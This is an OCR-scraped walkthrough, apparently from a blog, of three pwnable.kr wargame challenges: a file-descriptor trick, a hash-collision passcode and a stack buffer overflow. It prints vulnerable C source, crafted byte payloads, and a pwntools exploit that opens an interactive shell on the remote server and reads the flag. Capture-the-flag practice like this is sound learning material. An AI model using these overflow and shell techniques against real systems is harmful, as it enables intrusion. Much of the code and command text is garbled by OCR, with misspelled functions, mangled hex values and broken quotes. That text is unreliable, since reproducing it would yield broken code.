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Mommy! what is a file descriptor in Linux?

* try to play the wargame your self but if you are ABSOLUTE beginner, follow this tutorial link:
https://youtu.be/97 1eZhMHQQw

ssh fd@pwnable.kr -p2222 (pw:guest)
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iqigiya@521: ~/Desktop
igiqiya@s521:~/DesktopS ssh fd@pwnable.kr -p2222

Site admin : daehee87.kr@gmail.com
IRC : irc.netgarage.org:6667 / #pwnable.kr
Simply type "irssi" command to join IRC now
files under ftmp can be erased anytime. make your directory under /[ftmp
to use peda, issue "source fusr/sharefpedafpeda.py” in gdb terminal
Last login: Tue Mar 12 ©4:49:51 2019 from 125.46.3.236
d@ubuntu:-~% I
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fd@ubuntu:~$ 1s

fd fd.c flag

fd@ubuntu:~% cat flag

cat: flag: _Permission denied
fd@ubuntu:~$ 11

11: command not found

fd@ubuntu:~% 1s -1

total 16

-r-sr-x--- 1 fd_pwn fd 7322 Jun 11 2814 fd

-rw-r--r-- 1 root root 418 Jun 11 2014 fd.c

-r--r----- 1 fd_pwn root 50 Jun 11 2814 flag

fd@ubuntu:-~$% https://blog.csdn.net/ gshangbashaonian
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®© @ iqiqiya@521: ~/Desktop

fd@ubuntu:~% cat fd.c

#include <stdio.h=>

#include <stdlib.h=>

#include <string.h=

char buf[32];

int main(int argc, char* argv[], char* envp[]){

if(argc<2){

printf("pass argv[1] a number\n");
return 8;

}

int fd = atoi( argv[1] ) - 0x1234;

int len = 8;

len = read(fd, buf, 32);

if(!stremp("LETMEWIN\NR", buf)){
printf("good job :)\n");
system(" /binfcat flag");
exit(e);

1
printf("learn about Linux file IO\n");
return 0;

https://blog.csdn.ne angshangbashaonian

" UE BIIRBEAIR BERHE NS HRELETMEWINEL AT LA get flag
B E A L AniEread(fd, buf, 32) Hfd i {E S T ORI ik RArAERA
int fd = atoi( argv[1] ) - 0x1234;
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iqiqiya@521:~/Desktop$ ipython
Python 2.7.6 (default, Nov 23 2017, 15:49
Type "copyright", "credits" or "license"

IPython 1.2.1 -- An enhanced Interactive
-> Introduction and overview of

%qutckref -> Quick reference.

help -> Python's own help system.

object? -> Detalls about 'object', use

1 0x1234
4660
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fd@ubuntu ~§ ./fd ©x1234

learn about Linux file IO

fd@ubuntu:~5 ./fd 4660

LETMEWIN

good job :)

mommy! I think I know what a file descriptor is!!
fd@ubuntu:-~-$

flag®|F

2B —Hicollision:

Daddy told me about cool MD5 hash collision today.
| wanna do something like that too!

ssh col@pwnable.kr -p2222 (pw:guest)
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Last login: Tue Mar 12 ©5:18:17 2019 from 211.229.76.67
col@ubuntu:~$ 1s
col col.c flag
col@ubuntu:~% cat col.c
#include <stdio.h=>
#include <string.h=
unsigned long hashcode = 8x21DDO9EC;
unsigned long check_password(const char* p){

int* ip = (int*)p;

int i;

int res=0;

for(i=0; i<5; i++){

res += ip[i];
1

return res;

}

int main(int argc, char* argv[]){

if(argc<2){
printf("usage : %s [passcode]\n", argv[@]);
return 0;

1

if(strlen(argv[1]) != 28){
printf("passcode length should be 20 bytes\n");
return 8;

}

if(hashcode == check_password( argv[1] )){
system("/bin/cat flag");:
return 0;
}
else
printf("wrong passcode.\n");
return 0;
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col@ubuntu:-~$ I
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Jcol "python -c "print "xe8\x05\xd9\x1d"+"x01"16""
B

python -c "print "xe8\x05\xd9\x1d'+'\x01'*16"[xargs ./col

col@ubuntu:~$ ./col “python -c "print '\xeB8\x05\xd9\x1d'+'\x01"'*16""




Nana told me that buffer overflow is one of the most common software vulnerability.
Is that true?

Download : http://pwnable.kr/bin/bof
Download : http://pwnable.kr/bin/bof.c

Running at : nc pwnable.kr 9000

FRIXA REMKpwn 4 TR MRATERSEFE Thof.c

H #wget http://pwnable.kr/bin/bof.c T 2 4 s
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104 View—a [ [E rseudocode—a B Stack of func [ =) Strings window [ @
ljunsigned int _ cdecl func(int al)

2{

3| char s; ff [esp+1Ch] [ebp-2Ch]

4| unsigned int v3; // [esp+3Ch] [ebp-Ch]
5

6 v3 = _ readgsdword(8x14u);

7| _puts("overflow me . "3;

8| gets(&s);

ofl if ( al == @xCAFEBABE )
1@ SYSLEM|, FD1IN; SN ),
11| else

12 puts{"Nah..");
13| return _ readgsdword(@x14u) ~ v3;
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+0000deee s db 4 dup(?)
+0000dead  r db 4 dup(?)
+0000doees al dd ?

+0000000C ; end of stack variables

AR 2545 f 2 44+8=52

payload:



cat <(python -c "print "\x11*52+"\xbe\xba\xfe\xca") - | nc pwnable.kr 9000
2. £ Fl pwntools %i 5 exp.py

from pwn import *

r = remote(‘pwnable.kr',9000)

r.sendline('a™52 + p32(0xcafebabe))

r.interactive()

iqiqiya@521:~fDESktop$ python exp.py
[+] Opening connection to pwnable.kr on port 9800: Done
[#] switching to interactive mode
id
uid=1008(bof) gid=1008(bof) groups=1808(bof)
1s
bof
bof.c

flag

log

log2

super.pl
cat flag

dagdy, I just pwned a buFFer :)
| |
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